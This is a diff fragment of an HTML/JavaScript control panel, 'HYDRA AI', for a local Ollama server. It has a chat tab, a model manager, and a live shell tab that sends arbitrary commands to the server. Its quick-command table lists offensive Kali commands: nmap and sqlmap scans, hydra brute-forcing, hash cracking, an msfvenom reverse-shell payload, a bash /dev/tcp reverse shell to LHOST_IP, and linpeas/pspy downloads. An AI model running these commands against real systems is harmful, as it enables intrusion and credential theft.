245
+
246
+ .prog-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px;display:none}
247
+ .prog-box.show{display:block}
248
+ .prog-lbl{font-size:10px;color:var(--dim);margin-bottom:7px}
249
+ .prog-track{background:#060b10;border-radius:1px;height:3px;overflow:hidden}
250
+ .prog-fill{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent3));width:0%;transition:width .3s}
251
+ .prog-stat{font-size:10px;color:var(--accent);margin-top:5px}
252
+
253
+ .mgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(270px,1fr));gap:9px}
254
+ .mcard{
255
+ background:var(--panel);border:1px solid var(--border);border-radius:3px;
256
+ padding:13px;transition:border-color .15s;
257
+ }
258
+ .mcard:hover{border-color:rgba(0,255,65,.25)}
259
+ .mcard.active{border-color:var(--accent);background:rgba(0,255,65,.03)}
260
+ .mname{font-size:12px;color:var(--accent);margin-bottom:4px;font-family:var(--font-mono)}
261
+ .mmeta{font-size:10px;color:var(--dim);display:flex;gap:10px;flex-wrap:wrap}
262
+ .mbtns{margin-top:9px;display:flex;gap:5px}
263
+ .mbtn{
264
+ font-size:9px;padding:4px 9px;border-radius:1px;border:none;cursor:pointer;
265
+ font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
266
  }
267
+ .mbtn.u{background:rgba(0,255,65,.12);color:var(--accent);border:1px solid rgba(0,255,65,.25)}
268
+ .mbtn.u:hover{background:rgba(0,255,65,.22)}
269
+ .mbtn.d{background:rgba(255,0,60,.08);color:var(--accent2);border:1px solid rgba(255,0,60,.25)}
270
+ .mbtn.d:hover{background:rgba(255,0,60,.18)}
271
+ .no-m{text-align:center;padding:40px;color:var(--dim);font-size:11px;letter-spacing:2px}
272
+
273
+ /* ── LOGS ── */
274
+ #logs-panel{background:#030508}
275
+ #log-out{
276
+ flex:1;overflow-y:auto;padding:12px 16px;
277
+ font-family:var(--font-mono);font-size:11px;line-height:1.8;
278
+ }
279
+ .ll{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0}
280
+ .ll.info{color:#4a7a8a}
281
+ .ll.warn{color:var(--warn)}
282
+ .ll.error{color:var(--accent2)}
283
+ .ll.ok{color:var(--accent)}
284
+ .lts{color:var(--dim);margin-right:8px;user-select:none}
285
+
286
+ /* TOAST */
287
+ #toast{position:fixed;bottom:18px;right:18px;z-index:10000;display:flex;flex-direction:column;gap:7px;pointer-events:none}
288
+ .ti{
289
+ background:var(--panel);border-radius:2px;padding:9px 14px;
290
+ font-size:11px;animation:tIn .25s ease;border-left:2px solid var(--accent);
291
+ box-shadow:0 4px 20px rgba(0,0,0,.8);
292
+ }
293
+ .ti.e{border-color:var(--accent2);color:var(--accent2)}
294
+ .ti.ok{border-color:var(--accent);color:var(--accent)}
295
+ @keyframes tIn{from{opacity:0;transform:translateX(16px)}to{opacity:1;transform:none}}
296
+
297
+ *::-webkit-scrollbar{width:3px;height:3px}
298
  *::-webkit-scrollbar-track{background:transparent}
299
+ *::-webkit-scrollbar-thumb{background:var(--border);border-radius:1px}
300
  </style>
301
  </head>
302
  <body>
303
  <div id="app">
304
  <!-- HEADER -->
305
  <header>
306
+ <div class="logo">HYDRA<em>AI</em></div>
307
+ <div class="dot" id="dot"></div>
308
+ <div class="status-txt" id="stxt">CONNECTING...</div>
309
  <div class="spacer"></div>
310
+ <div class="model-wrap">
311
  <label>MODEL</label>
312
+ <select id="gmodel"><option value="">β€” select β€”</option></select>
313
  </div>
314
  </header>
315
 
316
+ <div id="main">
 
317
  <!-- TAB NAV -->
318
  <nav class="tab-nav">
319
+ <button class="tbtn active" data-tab="chat" title="Chat">
320
  <svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
321
  CHAT
322
  </button>
323
+ <button class="tbtn" data-tab="shell" title="Shell">
324
  <svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
325
  SHELL
326
  </button>
327
+ <button class="tbtn" data-tab="models" title="Models">
328
  <svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
329
  MODELS
330
  </button>
331
+ <button class="tbtn" data-tab="logs" title="Logs">
332
+ <svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
333
  LOGS
334
  </button>
335
  </nav>
336
 
337
  <div class="panels">
338
+
339
  <!-- ── CHAT ── -->
340
  <div class="panel active" id="chat-panel">
341
+ <div class="ph">
342
+ <div class="ph-title">AI <em>CHAT</em></div>
343
+ <div class="badge" id="chat-badge">no model</div>
344
  <div style="flex:1"></div>
345
+ <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearChat()">CLEAR</button>
346
  </div>
347
+ <div id="chat-msgs">
348
  <div class="chat-empty" id="chat-empty">
349
+ <div class="big">HYDRA</div>
350
+ <div class="sub">SELECT A MODEL β€” BEGIN OPERATION</div>
351
  </div>
352
  </div>
353
+ <div id="chat-bar">
354
+ <textarea id="chat-in" rows="1" placeholder="Enter command... (Enter to send, Shift+Enter for newline)"></textarea>
355
  <button class="send-btn" id="send-btn" onclick="sendChat()">
356
  <svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
357
  SEND
 
361
 
362
  <!-- ── SHELL ── -->
363
  <div class="panel" id="shell-panel">
364
+ <div class="ph">
365
+ <div class="ph-title">SHELL <em>TERMINAL</em></div>
366
+ <div class="badge red">LIVE</div>
367
  </div>
368
+ <div class="shell-cats" id="shell-cats">
369
+ <button class="cat-btn active" onclick="switchCat(this,'system')">βš™ SYSTEM</button>
370
+ <button class="cat-btn" onclick="switchCat(this,'recon')">πŸ” RECON</button>
371
+ <button class="cat-btn" onclick="switchCat(this,'web')">🌐 WEB</button>
372
+ <button class="cat-btn" onclick="switchCat(this,'network')">πŸ“‘ NETWORK</button>
373
+ <button class="cat-btn" onclick="switchCat(this,'exploit')">πŸ’₯ EXPLOIT</button>
374
+ <button class="cat-btn" onclick="switchCat(this,'password')">πŸ”‘ PASSWORD</button>
375
+ <button class="cat-btn" onclick="switchCat(this,'forensics')">πŸ”¬ FORENSICS</button>
376
+ <button class="cat-btn" onclick="switchCat(this,'ollama')">πŸ¦™ OLLAMA</button>
 
377
  </div>
378
+ <div class="qcmds" id="qcmds"></div>
379
+ <div class="shell-bar">
380
+ <div class="shell-in-wrap">
381
+ <span class="sprmt">$&nbsp;</span>
382
+ <input id="shell-in" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/>
383
  </div>
384
  <button class="run-btn" id="run-btn" onclick="runShell()">β–Ά RUN</button>
385
  <button class="kill-btn" id="kill-btn" onclick="killShell()">β–  KILL</button>
386
+ <button class="abtn s" style="font-size:10px;padding:5px 9px" onclick="clearShell()">CLR</button>
 
 
 
387
  </div>
388
+ <div id="shell-out"><div class="s-empty">// AWAITING COMMAND</div></div>
389
  </div>
390
 
391
  <!-- ── MODELS ── -->
392
  <div class="panel" id="models-panel">
393
+ <div class="ph">
394
+ <div class="ph-title">MODEL <em>MANAGER</em></div>
395
+ <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="loadModels()">↻ REFRESH</button>
396
  </div>
397
+ <div class="models-body">
398
+ <div class="pull-box">
399
+ <div class="pull-box-title">PULL NEW MODEL</div>
400
+ <div class="pull-row">
401
+ <input id="pull-in" type="text" placeholder="e.g. hydra-ai, tinyllama, phi3, mistral"/>
402
+ <button class="abtn p" onclick="pullModel()">⬇ PULL</button>
 
 
 
403
  </div>
404
+ <div class="popular" id="popular">
405
+ <span class="qc" onclick="setPull('hydra-ai')">hydra-ai</span>
406
+ <span class="qc" onclick="setPull('NeuralNexusLab/HacKing')">HacKing</span>
407
+ <span class="qc" onclick="setPull('qwen3.5:0.8b')">qwen3.5:0.8b</span>
408
+ <span class="qc" onclick="setPull('tinyllama')">tinyllama</span>
409
+ <span class="qc" onclick="setPull('phi3')">phi3</span>
410
+ <span class="qc" onclick="setPull('mistral')">mistral</span>
411
+ <span class="qc" onclick="setPull('deepseek-r1:7b')">deepseek-r1:7b</span>
412
  </div>
413
  </div>
414
+ <div class="prog-box" id="prog-box">
415
+ <div class="prog-lbl" id="prog-lbl">Pulling...</div>
416
+ <div class="prog-track"><div class="prog-fill" id="prog-fill"></div></div>
417
+ <div class="prog-stat" id="prog-stat">Initializing...</div>
 
 
 
 
 
 
 
 
 
 
418
  </div>
419
+ <div class="mgrid" id="mgrid"><div class="no-m">LOADING MODELS...</div></div>
420
  </div>
421
  </div>
422
 
423
  <!-- ── LOGS ── -->
424
  <div class="panel" id="logs-panel">
425
+ <div class="ph">
426
+ <div class="ph-title">SYSTEM <em>LOGS</em></div>
427
+ <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearLogs()">CLEAR</button>
428
  </div>
429
+ <div id="log-out">
430
+ <div class="ll info"><span class="lts">[INIT]</span> HYDRA-AI control interface online</div>
431
  </div>
432
  </div>
 
 
 
433
 
434
+ </div><!-- /panels -->
435
+ </div><!-- /main -->
436
+ </div><!-- /app -->
437
+
438
  <div id="toast"></div>
439
 
440
  <script>
441
+ const BASE = window.location.origin;
 
 
 
 
 
 
 
442
  let currentModel = '';
443
+ let shellCtrl = null;
 
444
  let shellRunning = false;
445
+ let shellHist = [];
446
+ let shellHIdx = -1;
447
+
448
+ // ── UTILS ────────────────────────────────────────────
449
+ function log(msg, type='info'){
450
+ const el=document.getElementById('log-out');
451
+ const ts=new Date().toLocaleTimeString('en',{hour12:false});
452
+ const d=document.createElement('div');
453
+ d.className='ll '+type;
454
+ d.innerHTML=`<span class="lts">[${ts}]</span> ${msg}`;
455
+ el.appendChild(d);
456
+ el.scrollTop=el.scrollHeight;
457
+ }
458
+ function toast(msg,type=''){
459
+ const t=document.getElementById('toast');
460
+ const d=document.createElement('div');
461
+ d.className='ti '+(type==='error'?'e':type==='ok'?'ok':'');
462
+ d.textContent=msg;
463
+ t.appendChild(d);
464
+ setTimeout(()=>d.remove(),3000);
465
+ }
466
+ function clearLogs(){document.getElementById('log-out').innerHTML='';}
467
+ function fmt(b){if(!b)return '';const g=b/1e9;return g>=1?g.toFixed(1)+'GB':(b/1e6).toFixed(0)+'MB';}
468
+ function hhmm(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'});}
469
+
470
+ // ── TABS ─────────────────────────────────────────────
471
+ document.querySelectorAll('.tbtn').forEach(btn=>{
 
 
 
 
 
 
 
 
 
 
 
 
472
  btn.addEventListener('click',()=>{
473
+ const tab=btn.dataset.tab;
474
+ document.querySelectorAll('.tbtn').forEach(b=>b.classList.remove('active'));
475
  document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
476
  btn.classList.add('active');
477
  document.getElementById(tab+'-panel').classList.add('active');
 
479
  });
480
  });
481
 
482
+ // ── STATUS ───────────────────────────────────────────
483
+ async function checkStatus(){
484
+ try{
485
+ const r=await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
 
 
486
  if(r.ok){
487
+ document.getElementById('dot').classList.add('on');
488
+ document.getElementById('stxt').textContent='ONLINE';
489
+ await loadModels(true);
 
490
  }
491
+ }catch(e){
492
+ document.getElementById('dot').classList.remove('on');
493
+ document.getElementById('stxt').textContent='OFFLINE';
494
  log('Server unreachable: '+e.message,'error');
495
  }
496
  }
497
 
498
+ // ── MODELS ───────────────────────────────────────────
499
+ async function loadModels(silent=false){
500
+ try{
501
+ const r=await fetch(`${BASE}/api/tags`);
502
+ const data=await r.json();
503
+ const models=data.models||[];
504
+
505
+ // Update select
506
+ const sel=document.getElementById('gmodel');
507
+ const prev=sel.value;
508
+ sel.innerHTML='<option value="">β€” select β€”</option>';
 
 
509
  models.forEach(m=>{
510
+ const o=document.createElement('option');
511
+ o.value=m.name;o.textContent=m.name;
512
  sel.appendChild(o);
513
  });
514
+ if(prev) sel.value=prev;
515
 
516
+ // Update grid
517
+ const grid=document.getElementById('mgrid');
518
  if(!models.length){
519
+ grid.innerHTML='<div class="no-m">NO MODELS β€” PULL ONE ABOVE</div>';
520
  return;
521
  }
522
+ grid.innerHTML=models.map(m=>`
523
+ <div class="mcard ${currentModel===m.name?'active':''}">
524
+ <div class="mname">${m.name}</div>
525
+ <div class="mmeta">
526
  <span>πŸ’Ύ ${fmt(m.size)}</span>
527
  ${m.details?.parameter_size?`<span>πŸ”’ ${m.details.parameter_size}</span>`:''}
528
  ${m.details?.quantization_level?`<span>⚑ ${m.details.quantization_level}</span>`:''}
529
  </div>
530
+ <div class="mbtns">
531
+ <button class="mbtn u" onclick="selectModel('${m.name}')">USE</button>
532
+ <button class="mbtn d" onclick="deleteModel('${m.name}')">DELETE</button>
533
  </div>
534
  </div>`).join('');
535
+ if(!silent) log(`Loaded ${models.length} models`,'ok');
536
+ }catch(e){
537
+ if(!silent) log('Models error: '+e.message,'error');
 
538
  }
539
  }
540
 
541
  function selectModel(name){
542
+ currentModel=name;
543
+ document.getElementById('gmodel').value=name;
544
+ document.getElementById('chat-badge').textContent=name;
545
+ toast('β–Ά '+name,'ok');
546
+ log('Model β†’ '+name,'ok');
547
  loadModels(true);
548
  }
549
 
550
+ document.getElementById('gmodel').addEventListener('change',function(){
551
  if(this.value) selectModel(this.value);
552
  });
553
 
554
  async function deleteModel(name){
555
+ if(!confirm(`Delete "${name}"?`)) return;
556
+ try{
557
  await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
558
  toast('Deleted: '+name,'error');
559
+ log('Deleted: '+name,'warn');
560
  loadModels();
561
+ if(currentModel===name){currentModel='';document.getElementById('gmodel').value='';}
562
+ }catch(e){toast('Delete failed','error');}
 
 
563
  }
564
 
565
+ function setPull(name){document.getElementById('pull-in').value=name;}
566
+
567
  async function pullModel(){
568
+ const name=document.getElementById('pull-in').value.trim();
569
+ if(!name){toast('Enter model name','error');return;}
570
+ const pb=document.getElementById('prog-box');
571
+ const fill=document.getElementById('prog-fill');
572
+ const stat=document.getElementById('prog-stat');
573
+ const lbl=document.getElementById('prog-lbl');
574
+ pb.classList.add('show');
575
+ lbl.textContent='Pulling: '+name;
576
+ fill.style.width='0%';stat.textContent='Starting...';
577
+ log('Pulling: '+name,'info');
578
+ try{
579
+ const r=await fetch(`${BASE}/api/pull`,{
 
 
580
  method:'POST',headers:{'Content-Type':'application/json'},
581
  body:JSON.stringify({name})
582
  });
583
+ const reader=r.body.getReader();
584
+ const dec=new TextDecoder();
585
  let buf='';
586
  while(true){
587
  const {done,value}=await reader.read();
588
  if(done) break;
589
  buf+=dec.decode(value,{stream:true});
590
+ const lines=buf.split('\n');buf=lines.pop();
591
  for(const line of lines){
592
  if(!line.trim()) continue;
593
  try{
594
  const d=JSON.parse(line);
595
+ stat.textContent=d.status||'...';
596
+ if(d.total&&d.completed) fill.style.width=Math.round(d.completed/d.total*100)+'%';
 
 
 
597
  }catch(e){}
598
  }
599
  }
600
+ pb.classList.remove('show');
601
+ toast('βœ“ Pulled: '+name,'ok');
602
+ log('Pull complete: '+name,'ok');
603
+ document.getElementById('pull-in').value='';
 
604
  loadModels();
605
+ }catch(e){
606
+ pb.classList.remove('show');
607
+ toast('Pull failed','error');log('Pull error: '+e.message,'error');
608
  }
609
  }
610
 
611
+ document.getElementById('pull-in').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel();});
 
612
 
613
+ // ── CHAT ─────────────────────────────────────────────
 
 
614
  function clearChat(){
615
+ const m=document.getElementById('chat-msgs');
616
+ m.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">HYDRA</div><div class="sub">SELECT A MODEL β€” BEGIN OPERATION</div></div>';
 
617
  log('Chat cleared');
618
  }
619
 
620
+ function addMsg(role, text, streaming=false){
621
  const empty=document.getElementById('chat-empty');
622
  if(empty) empty.remove();
623
+ const msgs=document.getElementById('chat-msgs');
624
  const wrap=document.createElement('div');
625
+ wrap.className='msg '+role;
626
  const av=document.createElement('div');
627
+ av.className='av';
628
  av.textContent=role==='user'?'YOU':'AI';
629
  const bub=document.createElement('div');
630
+ bub.className='bubble'+(streaming?' streaming':'');
631
  bub.textContent=text;
632
+ const t=document.createElement('div');
633
+ t.className='mtime';t.textContent=hhmm();
634
  const inner=document.createElement('div');
635
+ inner.appendChild(bub);inner.appendChild(t);
636
+ wrap.appendChild(av);wrap.appendChild(inner);
637
  msgs.appendChild(wrap);
638
  msgs.scrollTop=msgs.scrollHeight;
639
  return bub;
640
  }
641
 
642
  async function sendChat(){
643
+ const input=document.getElementById('chat-in');
644
  const text=input.value.trim();
645
  if(!text) return;
646
  if(!currentModel){toast('Select a model first','error');return;}
647
 
648
+ input.value='';input.style.height='';
649
  document.getElementById('send-btn').disabled=true;
650
+ log(`Chat β†’ ${currentModel}: "${text.slice(0,50)}"`,'info');
651
 
652
+ addMsg('user', text);
653
+ const bubble=addMsg('ai','',true);
654
+ let full='';
655
 
656
+ try{
657
+ // app.py /api/chat with "message" key streams plain text
 
 
658
  const r=await fetch(`${BASE}/api/chat`,{
659
+ method:'POST',
660
+ headers:{'Content-Type':'application/json'},
661
+ body:JSON.stringify({model:currentModel, message:text, stream:true})
662
  });
663
+
664
+ if(!r.ok) throw new Error('HTTP '+r.status);
665
+
666
  const reader=r.body.getReader();
667
  const dec=new TextDecoder();
668
+
669
  while(true){
670
  const {done,value}=await reader.read();
671
  if(done) break;
672
+ // app.py streams raw text tokens β€” append directly, no JSON parsing
673
+ const chunk=dec.decode(value,{stream:true});
674
+ full+=chunk;
675
+ bubble.textContent=full;
676
+ document.getElementById('chat-msgs').scrollTop=9999;
 
 
 
 
 
 
 
 
677
  }
678
+
679
  bubble.classList.remove('streaming');
680
+ log(`Response: ${full.length} chars`,'ok');
681
+ }catch(e){
682
+ bubble.textContent='[ERROR] '+e.message;
 
683
  bubble.classList.remove('streaming');
684
+ bubble.style.color='var(--accent2)';
685
  log('Chat error: '+e.message,'error');
686
+ toast('Chat failed','error');
687
  }
688
+
689
  document.getElementById('send-btn').disabled=false;
690
  input.focus();
691
  }
692
 
693
+ const chatIn=document.getElementById('chat-in');
694
+ chatIn.addEventListener('keydown',e=>{if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}});
695
+ chatIn.addEventListener('input',function(){this.style.height='auto';this.style.height=Math.min(this.scrollHeight,120)+'px';});
 
 
 
 
 
 
696
 
697
+ // ── SHELL ─────────────────────────────────────────────
698
+ function clearShell(){document.getElementById('shell-out').innerHTML='<div class="s-empty">// CLEARED</div>';}
 
 
 
 
699
 
700
+ function setCmd(cmd){document.getElementById('shell-in').value=cmd;document.getElementById('shell-in').focus();}
 
 
 
701
 
702
+ function addShellLine(text,cls=''){
703
+ const out=document.getElementById('shell-out');
704
+ const p=out.querySelector('.s-empty');if(p)p.remove();
705
+ const d=document.createElement('div');
706
+ if(cls) d.className=cls;
707
+ d.textContent=text;
708
+ out.appendChild(d);
 
 
709
  out.scrollTop=out.scrollHeight;
 
710
  }
711
 
712
  async function runShell(){
713
+ const inp=document.getElementById('shell-in');
714
+ const cmd=inp.value.trim();
715
  if(!cmd||shellRunning) return;
716
 
717
+ shellHist.unshift(cmd);shellHIdx=-1;
718
+ inp.value='';
 
 
719
  shellRunning=true;
720
+ shellCtrl=new AbortController();
721
  document.getElementById('run-btn').disabled=true;
722
+ document.getElementById('kill-btn').classList.add('show');
723
 
724
+ addShellLine('$ '+cmd,'s-echo');
725
+ log('Shell: '+cmd,'info');
726
 
727
+ try{
728
  const r=await fetch(`${BASE}/shell`,{
729
  method:'POST',
730
  headers:{'Content-Type':'application/json'},
731
  body:JSON.stringify({cmd}),
732
+ signal:shellCtrl.signal
733
  });
 
734
  const reader=r.body.getReader();
735
  const dec=new TextDecoder();
736
  let buf='';
 
737
  while(true){
738
  const {done,value}=await reader.read();
739
  if(done) break;
740
  buf+=dec.decode(value,{stream:true});
741
+ const lines=buf.split('\n');buf=lines.pop();
742
+ for(const line of lines) addShellLine(line);
 
 
 
 
743
  }
744
+ if(buf) addShellLine(buf);
745
+ addShellLine('[done]','s-exit0');
746
+ log('Shell done','ok');
747
+ }catch(e){
748
  if(e.name!=='AbortError'){
749
+ addShellLine('[error] '+e.message,'s-exit1');
750
  log('Shell error: '+e.message,'error');
751
+ }else{
752
+ addShellLine('[killed]','s-exit1');
753
  }
754
  }
755
 
756
+ shellRunning=false;shellCtrl=null;
 
757
  document.getElementById('run-btn').disabled=false;
758
+ document.getElementById('kill-btn').classList.remove('show');
759
+ inp.focus();
760
  }
761
 
762
  function killShell(){
763
+ if(shellCtrl){shellCtrl.abort();toast('Killed','error');log('Shell killed','warn');}
 
 
 
 
764
  }
765
 
766
+ document.getElementById('shell-in').addEventListener('keydown',e=>{
 
767
  if(e.key==='Enter'){runShell();return;}
768
+ if(e.key==='ArrowUp'){e.preventDefault();if(shellHIdx<shellHist.length-1){shellHIdx++;e.target.value=shellHist[shellHIdx]||'';}}
769
+ if(e.key==='ArrowDown'){e.preventDefault();if(shellHIdx>0){shellHIdx--;e.target.value=shellHist[shellHIdx]||'';}else{shellHIdx=-1;e.target.value='';}}
 
 
 
 
 
 
 
 
 
 
770
  });
771
 
772
+ // ── KALI CMDS ─────────────────────────────────────────
773
+ const KCMDS={
774
+ system:[
775
+ {l:'uname -a', c:'uname -a'},
776
+ {l:'os-release', c:'cat /etc/os-release'},
777
+ {l:'kali version', c:'cat /etc/kali_version 2>/dev/null || lsb_release -a'},
778
+ {l:'tools list', c:"dpkg -l | grep -E 'nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz' | awk '{print $2, $3}'"},
779
+ {l:'df -h', c:'df -h'},
780
+ {l:'free -h', c:'free -h'},
781
+ {l:'ps top', c:'ps aux --sort=-%cpu | head -20'},
782
+ {l:'ip addr', c:'ip addr show'},
783
+ {l:'whoami', c:'whoami && id'},
784
+ {l:'env', c:'env | sort'},
785
+ {l:'nvidia-smi', c:'nvidia-smi'},
786
+ {l:'uptime', c:'uptime'},
 
 
 
 
 
787
  ],
788
+ recon:[
789
+ {l:'nmap -sV', c:'nmap -sV -sC --open TARGET_IP'},
790
+ {l:'nmap full', c:'nmap -p- -T4 TARGET_IP'},
791
+ {l:'nmap vuln', c:'nmap --script=vuln TARGET_IP'},
792
+ {l:'nmap OS', c:'nmap -O TARGET_IP'},
793
+ {l:'dnsrecon', c:'dnsrecon -d TARGET_DOMAIN'},
794
+ {l:'dnsenum', c:'dnsenum TARGET_DOMAIN'},
795
+ {l:'fierce', c:'fierce --domain TARGET_DOMAIN'},
796
+ {l:'theHarvester', c:'theHarvester -d TARGET_DOMAIN -b all'},
797
+ {l:'whois', c:'whois TARGET_DOMAIN'},
798
+ {l:'dig any', c:'dig TARGET_DOMAIN ANY +noall +answer'},
799
+ {l:'amass enum', c:'amass enum -d TARGET_DOMAIN'},
 
 
 
800
  ],
801
+ web:[
802
+ {l:'nikto', c:'nikto -h http://TARGET_IP'},
803
+ {l:'gobuster dir', c:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'},
804
+ {l:'dirb', c:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'},
805
+ {l:'sqlmap GET', c:"sqlmap -u 'http://TARGET_IP/page?id=1' --dbs --batch"},
806
+ {l:'sqlmap POST', c:"sqlmap -u 'http://TARGET_IP/login' --data='user=a&pass=b' --dbs --batch"},
807
+ {l:'wfuzz', c:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'},
808
+ {l:'ffuf', c:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301'},
809
+ {l:'whatweb', c:'whatweb http://TARGET_IP'},
810
+ {l:'curl headers', c:'curl -I http://TARGET_IP'},
811
+ {l:'wordlists', c:'ls /usr/share/wordlists/'},
 
 
812
  ],
813
+ network:[
814
+ {l:'netstat', c:'ss -tulnp'},
815
+ {l:'arp scan', c:'arp-scan --localnet'},
816
+ {l:'tcpdump', c:'tcpdump -i any -c 20 -n'},
817
+ {l:'netdiscover', c:'netdiscover -r 192.168.1.0/24 -P | head -30'},
818
+ {l:'masscan', c:'masscan -p1-65535 TARGET_IP --rate=1000'},
819
+ {l:'traceroute', c:'traceroute TARGET_IP'},
820
+ {l:'nc listen', c:'nc -lvnp 4444'},
821
+ {l:'tshark', c:'tshark -i any -c 50'},
822
+ {l:'ip route', c:'ip route show'},
 
 
 
 
823
  ],
824
+ exploit:[
825
+ {l:'msfconsole', c:'msfconsole -q -x "version; exit"'},
826
+ {l:'searchsploit', c:'searchsploit apache 2.4'},
827
+ {l:'msfvenom shell', c:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'},
828
+ {l:'suid bins', c:'find / -perm -u=s -type f 2>/dev/null'},
829
+ {l:'sudo -l', c:'sudo -l 2>/dev/null'},
830
+ {l:'crontab', c:'cat /etc/crontab && ls /etc/cron*'},
831
+ {l:'linpeas dl', c:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh'},
832
+ {l:'pspy dl', c:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64'},
833
+ {l:'bash revshell', c:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'},
 
 
 
 
 
834
  ],
835
+ password:[
836
+ {l:'john', c:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'},
837
+ {l:'hashcat md5', c:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
838
+ {l:'hashcat ntlm', c:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
839
+ {l:'hydra ssh', c:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'},
840
+ {l:'hydra http', c:"hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form 'TARGET_IP/login:user=^USER^&pass=^PASS^:Invalid'"},
841
+ {l:'rockyou.txt', c:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
842
+ {l:'identify hash', c:'echo "PASTE_HASH" | hash-identifier 2>/dev/null || hashid PASTE_HASH'},
843
+ {l:'crunch', c:'crunch 8 8 abcdef0123456789 -o /tmp/custom.txt'},
 
 
 
 
844
  ],
845
+ forensics:[
846
+ {l:'file check', c:'file /tmp/*'},
847
+ {l:'strings', c:'strings /tmp/TARGET_FILE | head -50'},
848
+ {l:'xxd', c:'xxd /tmp/TARGET_FILE | head -30'},
849
+ {l:'binwalk', c:'binwalk /tmp/TARGET_FILE'},
850
+ {l:'binwalk extract', c:'binwalk -e /tmp/TARGET_FILE'},
851
+ {l:'exiftool', c:'exiftool /tmp/TARGET_FILE'},
852
+ {l:'steghide', c:'steghide info /tmp/TARGET_FILE'},
853
+ {l:'foremost', c:'foremost -i /tmp/TARGET_FILE -o /tmp/out'},
854
+ {l:'tcpdump read', c:'tcpdump -r /tmp/TARGET.pcap | head -30'},
855
+ {l:'dmesg', c:'dmesg | tail -30'},
 
 
 
 
856
  ],
857
+ ollama:[
858
+ {l:'list models', c:'ollama list'},
859
+ {l:'ollama ps', c:'ollama ps'},
860
+ {l:'ollama version', c:'ollama version'},
861
+ {l:'api health', c:'curl -s http://localhost:11434/ && echo'},
862
+ {l:'api tags', c:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'},
863
+ {l:'disk usage', c:'du -sh ~/.ollama/models/ 2>/dev/null'},
864
+ {l:'gpu info', c:'nvidia-smi 2>/dev/null || echo "No GPU"'},
865
+ {l:'pull tinyllama', c:'ollama pull tinyllama'},
866
+ {l:'pull phi3', c:'ollama pull phi3'},
867
+ {l:'run hydra-ai', c:'ollama run hydra-ai "Who are you?"'},
 
 
 
868
  ],
869
  };
870
 
871
+ function switchCat(btn,cat){
872
+ document.querySelectorAll('.cat-btn').forEach(b=>b.classList.remove('active'));
 
873
  btn.classList.add('active');
874
+ renderQcmds(cat);
 
875
  }
876
+ function renderQcmds(cat){
877
+ const cmds=KCMDS[cat]||[];
878
+ document.getElementById('qcmds').innerHTML=
879
+ cmds.map(c=>`<span class="qc" title="${c.c}" onclick="setCmd(${JSON.stringify(c.c)})">${c.l}</span>`).join('');
 
 
880
  }
881
 
882
+ // ── INIT ─────────────────────────────────────────────
 
 
883
  checkStatus();
884
+ setInterval(checkStatus,30000);
885
+ renderQcmds('system');
886
  </script>
887
  </body>
888
+ </html>